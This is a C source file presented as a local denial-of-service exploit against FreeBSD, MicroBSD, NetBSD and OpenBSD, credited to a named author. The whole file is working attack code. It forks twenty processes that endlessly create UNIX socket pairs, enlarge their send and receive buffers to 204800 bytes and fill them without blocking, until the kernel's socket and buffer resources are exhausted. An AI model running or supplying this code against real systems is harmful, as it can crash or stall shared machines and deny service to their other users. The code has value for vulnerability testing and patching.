/* 
 * FreeBSD/MicroBSD/NetBSD/OpenBSD local denial of service by socket starvation
 * Code by Adam Naguszewski <admin@bmtmc.gda.pl>
 */ 

#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>
#define         NPROCS          20
#define         BUFFERSIZE      204800

int main(void)
{
	int             p[2], i;
	char            crap[BUFFERSIZE];

	for (i = 0; i < NPROCS - 1; i++) {
		if (fork())
			break;
	}
	sleep(5);
	for (;;) {
		if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
			break;
		i = BUFFERSIZE;
		setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
		setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
		setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
		setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
		fcntl(p[0], F_SETFL, O_NONBLOCK);
		fcntl(p[1], F_SETFL, O_NONBLOCK);
		write(p[0], crap, BUFFERSIZE);
		write(p[1], crap, BUFFERSIZE);
	}
	pause();

	return 0;
}